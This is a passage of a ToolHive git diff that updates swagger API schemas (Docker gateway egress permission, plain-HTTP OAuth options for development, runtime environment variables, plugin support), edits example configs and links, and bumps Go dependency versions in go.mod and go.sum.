"pkg_api_v1.updateRequest": { "description": "Request to update an existing workload (name cannot be changed)", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index 8d29420531..970dcf9db8 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -505,6 +505,13 @@ components: $ref: '#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.DCRUpstreamConfig' identity_from_token: $ref: '#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig' + insecure_allow_http: + description: |- + InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs + for this upstream. Only for in-cluster development environments (e.g. an + OAuth2 provider served over HTTP in a kind cluster) where TLS is not + available. Never set this in production. + type: boolean redirect_uri: description: |- RedirectURI is the callback URL where the upstream IDP will redirect after authentication. @@ -559,6 +566,13 @@ components: ClientSecretFile is the path to a file containing the OAuth 2.0 client secret. Mutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE. type: string + insecure_allow_http: + description: |- + InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery + endpoints for this upstream. Only for in-cluster development environments + (e.g. Dex served over HTTP in a kind cluster) where TLS is not available. + Never set this in production. + type: boolean issuer_url: description: |- IssuerURL is the OIDC issuer URL for automatic endpoint discovery. @@ -953,10 +967,6 @@ components: - windsurf - windsurf-jetbrains - amp-cli - - amp-vscode - - amp-cursor - - amp-vscode-insider - - amp-windsurf - lm-studio - goose - trae @@ -983,10 +993,6 @@ components: - Windsurf - WindsurfJetBrains - AmpCli - - AmpVSCode - - AmpCursor - - AmpVSCodeInsider - - AmpWindsurf - LMStudio - Goose - Trae @@ -1014,6 +1020,10 @@ components: description: Registered indicates whether the client is registered in the ToolHive configuration type: boolean + supports_plugins: + description: SupportsPlugins indicates whether ToolHive can install plugins + for this client + type: boolean supports_skills: description: SupportsSkills indicates whether ToolHive can install skills for this client @@ -1099,6 +1109,19 @@ components: An empty string signals "use the default for this transport type" during config merging. Examples: "golang:1.26-alpine", "node:24-alpine", "python:3.14-slim" type: string + runtime_env: + additionalProperties: + type: string + description: |- + RuntimeEnv contains environment variables to inject into the Dockerfile's + final runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv), + which only affects the builder stage, these variables are baked into the + shipped image and are present in the running container's process + environment at startup. Use this for values a packaged MCP server reads at + process start (e.g. feature flags, cache backend selection), not for + build-time package manager configuration. + Keys must be uppercase with underscores, values are validated for safety. + type: object type: object github_com_stacklok_toolhive_pkg_core.Workload: properties: @@ -1166,6 +1189,11 @@ components: properties: name: type: string + plugins: + items: + type: string + type: array + uniqueItems: false registered_clients: items: type: string @@ -1321,6 +1349,8 @@ components: (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are blocked by default in the egress proxy even when InsecureAllowAll is set. Only applicable to Docker deployments with network isolation enabled. + Gateway access is port-independent: it ignores the permission profile's + allowed ports, so once enabled the gateway is reachable on any port. type: boolean allowed_origins: description: |- @@ -2272,13 +2302,13 @@ components: uniqueItems: false registryBaseUrl: description: RegistryBaseURL is the base URL of the package registry (used - by npm, pypi, nuget; not used by oci, mcpb) + by npm, pypi, nuget, cargo; not used by oci, mcpb) example: https://registry.npmjs.org format: uri type: string registryType: description: RegistryType indicates how to download packages (e.g., "npm", - "pypi", "oci", "nuget", "mcpb") + "pypi", "cargo", "oci", "nuget", "mcpb") example: npm minLength: 1 type: string @@ -2563,6 +2593,13 @@ components: pkg_api_v1.createRequest: description: Request to create a new workload properties: + allow_docker_gateway: + description: |- + Whether to permit outbound connections to Docker gateway addresses + (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + blocked by default in the egress proxy even when network isolation is on. + Only applicable to Docker deployments with network isolation enabled. + type: boolean authz_config: description: Authorization configuration type: string @@ -3095,6 +3132,13 @@ components: pkg_api_v1.updateRequest: description: Request to update an existing workload (name cannot be changed) properties: + allow_docker_gateway: + description: |- + Whether to permit outbound connections to Docker gateway addresses + (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + blocked by default in the egress proxy even when network isolation is on. + Only applicable to Docker deployments with network isolation enabled. + type: boolean authz_config: description: Authorization configuration type: string diff --git a/examples/operator/embedding-servers/README.md b/examples/operator/embedding-servers/README.md index 7ccd9ade26..d2a754d44d 100644 --- a/examples/operator/embedding-servers/README.md +++ b/examples/operator/embedding-servers/README.md @@ -231,4 +231,4 @@ If pods are pending due to insufficient resources: - [HuggingFace Text Embeddings Inference](https://github.com/huggingface/text-embeddings-inference) - [ToolHive Documentation](https://docs.toolhive.dev) -- [MCPGroup Documentation](../virtual-mcps/README.md) +- [MCPGroup Documentation](../../../docs/operator/virtualmcpserver-kubernetes-guide.md) diff --git a/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml b/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml index b51a740c06..5ef2047f6a 100644 --- a/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml +++ b/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml @@ -68,6 +68,10 @@ spec: # Model requested from the service (required for the openai provider). embeddingModel: text-embedding-3-small embeddingServiceTimeout: 15s + # Optional extra headers sent with every embedding request (e.g. a + # gateway cache-scoping key). Plain text — never put secrets here. + embeddingHeaders: + x-cache-key: toolhive-optimizer incomingAuth: type: anonymous diff --git a/examples/vmcp-config.yaml b/examples/vmcp-config.yaml index 4975422ccd..7b02dea7b7 100644 --- a/examples/vmcp-config.yaml +++ b/examples/vmcp-config.yaml @@ -4,7 +4,7 @@ # The Virtual MCP Server aggregates multiple MCP server workloads from a ToolHive group # into a single unified MCP endpoint. # -# References: docs/proposals/THV-2106-virtual-mcp-server.md +# References: https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md # # Usage: # vmcp serve --config vmcp-config.yaml diff --git a/go.mod b/go.mod index 2c1b4c5bb7..58e389acef 100644 --- a/go.mod +++ b/go.mod @@ -7,17 +7,17 @@ require ( github.com/1password/onepassword-sdk-go v0.3.1 github.com/alicebob/miniredis/v2 v2.38.0 github.com/atotto/clipboard v0.1.4 - github.com/aws/aws-sdk-go-v2 v1.42.0 - github.com/aws/aws-sdk-go-v2/config v1.32.25 - github.com/aws/aws-sdk-go-v2/service/sts v1.43.3 - github.com/cedar-policy/cedar-go v1.6.1 + github.com/aws/aws-sdk-go-v2 v1.42.1 + github.com/aws/aws-sdk-go-v2/config v1.32.30 + github.com/aws/aws-sdk-go-v2/service/sts v1.44.1 + github.com/cedar-policy/cedar-go v1.8.0 github.com/cenkalti/backoff/v5 v5.0.3 github.com/charmbracelet/bubbles v1.0.0 github.com/charmbracelet/bubbletea v1.3.10 github.com/charmbracelet/lipgloss v1.1.0 github.com/charmbracelet/x/ansi v0.11.7 github.com/containerd/errdefs v1.0.0 - github.com/coreos/go-oidc/v3 v3.18.0 + github.com/coreos/go-oidc/v3 v3.20.0 github.com/docker/go-connections v0.7.0 // indirect github.com/evanphx/json-patch/v5 v5.9.11 github.com/go-chi/chi/v5 v5.3.0 @@ -32,9 +32,9 @@ require ( github.com/google/uuid v1.6.0 github.com/lestrrat-go/httprc/v3 v3.0.6 github.com/lestrrat-go/jwx/v3 v3.0.13 - github.com/mark3labs/mcp-go v0.55.0 + github.com/mark3labs/mcp-go v0.55.1 github.com/moby/moby/client v0.4.1 - github.com/modelcontextprotocol/registry v1.7.9 + github.com/modelcontextprotocol/registry v1.8.0 github.com/oauth2-proxy/mockoidc v0.0.0-20240214162133-caebfff84d25 github.com/olekukonko/tablewriter v1.1.4 github.com/onsi/ginkgo/v2 v2.28.1 @@ -44,11 +44,13 @@ require ( github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c github.com/pressly/goose/v3 v3.27.1 github.com/prometheus/client_golang v1.23.2 + github.com/prometheus/client_model v0.6.2 + github.com/prometheus/common v0.67.5 github.com/redis/go-redis/v9 v9.21.0 github.com/shirou/gopsutil/v4 v4.26.5 github.com/spf13/viper v1.21.0 - github.com/stacklok/toolhive-catalog v0.20260629.0 - github.com/stacklok/toolhive-core v0.0.26 + github.com/stacklok/toolhive-catalog v0.20260706.0 + github.com/stacklok/toolhive-core v0.0.28 github.com/stretchr/testify v1.11.1 github.com/swaggo/swag/v2 v2.0.0-rc5 github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd @@ -58,7 +60,7 @@ require ( github.com/zalando/go-keyring v0.2.8 go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.45.0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.45.0 - go.opentelemetry.io/otel/exporters/prometheus v0.65.0 + go.opentelemetry.io/otel/exporters/prometheus v0.66.0 go.opentelemetry.io/otel/sdk v1.45.0 go.opentelemetry.io/otel/sdk/metric v1.45.0 go.uber.org/mock v0.6.0 @@ -83,10 +85,10 @@ require github.com/getsentry/sentry-go/otel v0.44.1 require github.com/hashicorp/golang-lru/v2 v2.0.7 -require go.starlark.net v0.0.0-20260522144826-ec58d4b459e2 +require go.starlark.net v0.0.0-20260630144053-529d8e869a14 require ( - github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31 // indirect github.com/go-openapi/runtime/server-middleware v0.30.0 // indirect github.com/klauspost/cpuid/v2 v2.3.0 // indirect github.com/oklog/ulid/v2 v2.1.1 // indirect @@ -102,16 +104,16 @@ require ( github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/antlr4-go/antlr/v4 v4.13.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.19.24 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29 // indirect - github.com/aws/aws-sdk-go-v2/service/signin v1.2.0 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.31.3 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6 // indirect - github.com/aws/smithy-go v1.27.1 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.19.29 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 // indirect + github.com/aws/aws-sdk-go-v2/service/signin v1.4.1 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.32.1 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1 // indirect + github.com/aws/smithy-go v1.27.3 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/blang/semver v3.5.1+incompatible // indirect @@ -147,31 +149,31 @@ require ( github.com/fatih/color v1.18.0 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect github.com/fxamacker/cbor/v2 v2.9.0 // indirect - github.com/getsentry/sentry-go v0.44.1 + github.com/getsentry/sentry-go v0.47.0 github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect github.com/go-logr/zapr v1.3.0 // indirect github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-openapi/analysis v0.25.2 // indirect - github.com/go-openapi/errors v0.22.7 // indirect + github.com/go-openapi/errors v0.22.8 // indirect github.com/go-openapi/jsonpointer v0.23.1 // indirect github.com/go-openapi/jsonreference v0.21.6 // indirect - github.com/go-openapi/loads v0.23.3 // indirect - github.com/go-openapi/runtime v0.32.3 // indirect - github.com/go-openapi/spec v0.22.5 // indirect - github.com/go-openapi/strfmt v0.26.3 // indirect - github.com/go-openapi/swag v0.26.0 // indirect - github.com/go-openapi/swag/cmdutils v0.26.0 // indirect - github.com/go-openapi/swag/conv v0.26.0 // indirect - github.com/go-openapi/swag/fileutils v0.26.0 // indirect - github.com/go-openapi/swag/jsonname v0.26.0 // indirect - github.com/go-openapi/swag/jsonutils v0.26.0 // indirect - github.com/go-openapi/swag/loading v0.26.0 // indirect - github.com/go-openapi/swag/mangling v0.26.0 // indirect - github.com/go-openapi/swag/netutils v0.26.0 // indirect - github.com/go-openapi/swag/stringutils v0.26.0 // indirect - github.com/go-openapi/swag/typeutils v0.26.0 // indirect - github.com/go-openapi/swag/yamlutils v0.26.0 // indirect - github.com/go-openapi/validate v0.25.3 // indirect + github.com/go-openapi/loads v0.24.0 // indirect + github.com/go-openapi/runtime v0.32.4 // indirect + github.com/go-openapi/spec v0.22.6 // indirect + github.com/go-openapi/strfmt v0.26.4 // indirect + github.com/go-openapi/swag v0.26.1 // indirect + github.com/go-openapi/swag/cmdutils v0.26.1 // indirect + github.com/go-openapi/swag/conv v0.27.0 // indirect + github.com/go-openapi/swag/fileutils v0.26.1 // indirect + github.com/go-openapi/swag/jsonname v0.26.1 // indirect + github.com/go-openapi/swag/jsonutils v0.26.1 // indirect + github.com/go-openapi/swag/loading v0.26.1 // indirect + github.com/go-openapi/swag/mangling v0.26.1 // indirect + github.com/go-openapi/swag/netutils v0.26.1 // indirect + github.com/go-openapi/swag/stringutils v0.26.1 // indirect + github.com/go-openapi/swag/typeutils v0.27.0 // indirect + github.com/go-openapi/swag/yamlutils v0.26.1 // indirect + github.com/go-openapi/validate v0.26.0 // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/gobuffalo/pop/v6 v6.1.1 // indirect @@ -182,7 +184,7 @@ require ( github.com/google/btree v1.1.3 // indirect github.com/google/certificate-transparency-go v1.3.3 // indirect github.com/google/gnostic-models v0.7.0 // indirect - github.com/google/jsonschema-go v0.4.2 // indirect + github.com/google/jsonschema-go v0.4.3 // indirect github.com/google/pprof v0.0.0-20260402051712-545e8a4df936 // indirect github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 // indirect github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect @@ -233,8 +235,6 @@ require ( github.com/ory/x v0.0.665 // indirect github.com/pjbgf/sha1cd v0.6.0 // indirect github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect - github.com/prometheus/client_model v0.6.2 // indirect - github.com/prometheus/common v0.67.5 // indirect github.com/prometheus/otlptranslator v1.0.0 // indirect github.com/prometheus/procfs v0.20.1 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect @@ -247,10 +247,10 @@ require ( github.com/sethvargo/go-retry v0.3.0 // indirect github.com/shibumi/go-pathspec v1.3.0 // indirect github.com/sigstore/protobuf-specs v0.5.1 // indirect - github.com/sigstore/rekor v1.5.2 // indirect - github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443 // indirect + github.com/sigstore/rekor v1.5.3 // indirect + github.com/sigstore/rekor-tiles/v2 v2.3.0 // indirect github.com/sigstore/sigstore v1.10.8 // indirect - github.com/sigstore/sigstore-go v1.2.1 // indirect + github.com/sigstore/sigstore-go v1.2.2 // indirect github.com/sigstore/timestamp-authority/v2 v2.1.2 // indirect github.com/sirupsen/logrus v1.9.4 // indirect github.com/skeema/knownhosts v1.3.1 // indirect @@ -262,7 +262,7 @@ require ( github.com/sv-tools/openapi v0.4.0 // indirect github.com/tetratelabs/wabin v0.0.0-20230304001439-f6f874872834 // indirect github.com/tetratelabs/wazero v1.9.0 // indirect - github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef // indirect + github.com/theupdateframework/go-tuf/v2 v2.4.2 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect github.com/tklauser/go-sysconf v0.3.16 // indirect diff --git a/go.sum b/go.sum index 810385d386..309c5d958e 100644 --- a/go.sum +++ b/go.sum @@ -26,10 +26,10 @@ github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 h1:He8af github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6/go.mod h1:8o94RPi1/7XTJvwPpRSzSUedZrtlirdB3r9Z20bi2f8= github.com/AdamKorcz/go-fuzz-headers-1 v0.0.0-20230919221257-8b5d3ce2d11d h1:zjqpY4C7H15HjRPEenkS4SAn3Jy2eRRjkjZbGR30TOg= github.com/AdamKorcz/go-fuzz-headers-1 v0.0.0-20230919221257-8b5d3ce2d11d/go.mod h1:XNqJ7hv2kY++g8XEHREpi+JqZo3+0l+CH2egBVN4yqM= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.1 h1:jHb/wfvRikGdxMXYV3QG/SzUOPYN9KEUUuC0Yd0/vC0= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.1/go.mod h1:pzBXCYn05zvYIrwLgtK8Ap8QcjRg+0i76tMQdWN6wOk= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 h1:Hk5QBxZQC1jb2Fwj6mpzme37xbCDdNTxU7O9eb5+LB4= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1/go.mod h1:IYus9qsFobWIc2YVwe/WPjcnyCkPKtnHAqUYeebc8z0= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.22.0 h1:aokoqcHvaGjiM3VpjKDfMMnF/8epJ+Q1HLJ7CudztqE= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.22.0/go.mod h1:/WYEx9pcM9Y+Dd/APJaNlSvVSvzl54rrMdZT5+Oi2LM= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.14.0 h1:CU4+EJeJi3TKYWEcYuSdWsjzw0nVsK/H0MSQOiPcymU= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.14.0/go.mod h1:q0+UTSRvShwUCrR/s5HtyInYphN7Wvxb7snFM3u+SLA= github.com/Azure/azure-sdk-for-go/sdk/internal v1.12.0 h1:fhqpLE3UEXi9lPaBRpQ6XuRW0nU7hgg4zlmZZa+a9q4= github.com/Azure/azure-sdk-for-go/sdk/internal v1.12.0/go.mod h1:7dCRMLwisfRH3dBupKeNCioWYUZ4SS09Z14H+7i8ZoY= github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.5.0 h1:MaKvxE6D0KkjOg6Wd9M00iqP5PR0kUxCfiezes4JweM= @@ -38,8 +38,8 @@ github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 h1:nCYfg github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0/go.mod h1:ucUjca2JtSZboY8IoUqyQyuuXvwbMBVwFOm0vdQPNhA= github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg= github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= -github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0 h1:4iB+IesclUXdP0ICgAabvq2FYLXrJWKx1fJQ+GxSo3Y= -github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk= +github.com/AzureAD/microsoft-authentication-library-for-go v1.7.2 h1:RHK7bS+HQMslb1sZpAokUt+zTVmue0hKSs2C791hhzU= +github.com/AzureAD/microsoft-authentication-library-for-go v1.7.2/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc= github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE= @@ -65,36 +65,36 @@ github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3d github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= -github.com/aws/aws-sdk-go-v2 v1.42.0 h1:XvXMJTkFQtpBKIWZnmr9ZEOc2InWM2yldjXEJ/bymhA= -github.com/aws/aws-sdk-go-v2 v1.42.0/go.mod h1:27+ACypSLljLAEKsCYOmrjKh83vuTRkuAe9Uv/3A4bg= -github.com/aws/aws-sdk-go-v2/config v1.32.25 h1:ACCejvStYoilgwrfegSt5ZntCbPrk52qfwyNcnl3omM= -github.com/aws/aws-sdk-go-v2/config v1.32.25/go.mod h1:LJyU8sDRbXUxFn8xMJIGP+v9QYYwveNLI8a/giAOiAs= -github.com/aws/aws-sdk-go-v2/credentials v1.19.24 h1:2hQqYCV9yqyePQ9o6dCrZc/zO8U3TwPr9mIKlZnPu/I= -github.com/aws/aws-sdk-go-v2/credentials v1.19.24/go.mod h1:IDwpACtwqHLISdzfwUUNq4P9DsB/h5BLg4FwJPNfqFY= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29 h1:r6qZHbT+wxgWO/e9vYNUEtg7lv5+UN3pRqKhLXvnArg= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29/go.mod h1:QRnaRcTVGKPGRy8w78HMQtKUGRYcnMZAANATkeVA6Mo= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29 h1:f3vKqSo13fhTYb+JEcXwXefZQE26I1FB5eTSniU67ko= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29/go.mod h1:MzoLFUArKGpGD+ukmPiTPG1X5x4o6M2kq4v2dr1FiEc= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29 h1:RdwIf/CuUsvJX3RgJagbOyotl/cxoLY4xviKuE7p2GY= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29/go.mod h1:71wt8W2EgswdZy9Mf9KNnzxZ3TiZlv4caKghPktDOkA= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30 h1:VTGy885W5DKBxWRUJbym9hytNaYzsyaPkCHGRRMAOhU= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30/go.mod h1:AS0HycUvJRFvTt613AYDOgO2jzw+00cVSMny8XB3yMY= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12 h1:ZD2+BSw9vFsNlKYIasSNt3uDbjqqXIBcM13UJv/Lx2k= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12/go.mod h1:Ms4zlcVBbXbiP7EVLhl+lgjvA/a7YphqQ3Ih3174EmI= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29 h1:DRebniUGZ2MqiiIVmQJ04vIXr918hubdHMnarSLEWyU= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29/go.mod h1:LfRkPCD8YHDM2E5eTkos2UpwYeZnBcVarTa8L59bJHA= +github.com/aws/aws-sdk-go-v2 v1.42.1 h1:9eOTgu1z/dVtYpNZ3/8/XbbaX0x/BqE3HUzAzs6K0ek= +github.com/aws/aws-sdk-go-v2 v1.42.1/go.mod h1:5pKeft2eJj+gElQ38Jqg4ibCqh+/AK33/0X3hip7IjM= +github.com/aws/aws-sdk-go-v2/config v1.32.30 h1:XwsEzpTJfQYJbFicz/QMLwAZdyeNVVoOEkbF7R3gPJk= +github.com/aws/aws-sdk-go-v2/config v1.32.30/go.mod h1:Ud32SuMc+/9BGxfpSVld7HrE2o05JwKmXY4M3jOQNZU= +github.com/aws/aws-sdk-go-v2/credentials v1.19.29 h1:WHZGssHH887cO0ox07SIQZsFx3MKD4ps6w0xUEmnKYQ= +github.com/aws/aws-sdk-go-v2/credentials v1.19.29/go.mod h1:Mhl0xR6zjguiuj00XRx2wMx22sAltk7oya39sT7fdg8= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 h1:/hi1JADLEW9YYryEz1w4GQu0EtP23pP553Cf9KgsDV4= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30/go.mod h1:/3AOgy4K17Dm4ucMZVC/MJkzy5kmfKUcINRHZyo0koQ= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 h1:xM/Is9cKMHa8Jj8zkvWhvrFkZsXJV9E+BB4g0HW0duQ= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30/go.mod h1:WueJeNDZvK1fMYEWJIkcivBfEzUkTpBhzlrUKKY8EuA= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 h1:jn46zC9LdsVR/ZpMIJqMqb8hHv31BlLx3ulVqNspUOk= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30/go.mod h1:1hTMsAgbdS/AtUi4bw8+gUuh1pceo+eXRLfpSuSQj3M= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31 h1:3GUprIsfmGcC5SACIyB0e7E0BM1O1b3Erl5CePYIAeQ= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31/go.mod h1:7PuV1yl5e2xnUbm+RqvVg5i2iBM8EyijZNoI9wsOoOc= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 h1:mbRIur/BiHK6SKPjoBIXSE/hJ6g6JGRLuxQy1jGjlN4= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13/go.mod h1:ITg9em2KbJx1s0y4aqRX5OYWG6HBZ5TVR//OdpEZ2CQ= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 h1:/Z5jmNrKsSD7EmDjzAPsm/3L9IuOkzaynklJZ1qX7S4= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30/go.mod h1:lEzEZnOosE7zi8Z6royW1cFJTD9fpab4Ul1SBrllewk= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0 h1:QNtg+Mtj1zmepk568+UKBD5DFfqh+ESTUUqQT27JkQc= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0/go.mod h1:Y0+uxvxz6ib4KktRdK0V4X45Vcs/JyYoz8H71pO8xeI= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.0 h1:3nXpRcFwRCW8n7HgO2QGy0Dc20eQNfBuUemGQhpF8m8= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.0/go.mod h1:LxYujSTLPRlp2vTtcUO/+1ilrew8ytt6SvQyOgejzFQ= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.3 h1:ey1XLTYXb9PcLt4535632o5kCGXNXEhNb620Dqwuylo= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.3/go.mod h1:Lk7PlmoTYryQmyBG0EXqj5BcUbj3whXdU2s3yGI3EAc= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6 h1:yLr03zQE/5Eu5l3QU0Si+xMbLMbSDF2YXsigqXngs6g= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6/go.mod h1:Q5N6icH+KJZDLh+ESNwzdv6cZ6vLFF/egy3IOxWhmz4= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.3 h1:VrIhKRCSK1umelSgB9RghvA9RTUYeQffyAS5ApXehNI= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.3/go.mod h1:r8wkDOuLaaMFqFiYAb8dGY2A3gJCOujMc6CFOVC4Zhc= -github.com/aws/smithy-go v1.27.1 h1:4T340VFndXtADGF52gYa1POyL7s9E4Z1OeZ1hCscIw8= -github.com/aws/smithy-go v1.27.1/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= +github.com/aws/aws-sdk-go-v2/service/signin v1.4.1 h1:V7ZZ300WPXGjvkyore5DGe0ljVPOxCXie/thWdtSBXE= +github.com/aws/aws-sdk-go-v2/service/signin v1.4.1/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.1 h1:gYFYh4iLLcAOJRLNPY2aD2g9DIhKn4eof8UkIrr1rTk= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.1/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1 h1:arjT9Cm3/WYbGmD5TUZHk4UQn4Lle1fUNZs5FC6CtF0= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1/go.mod 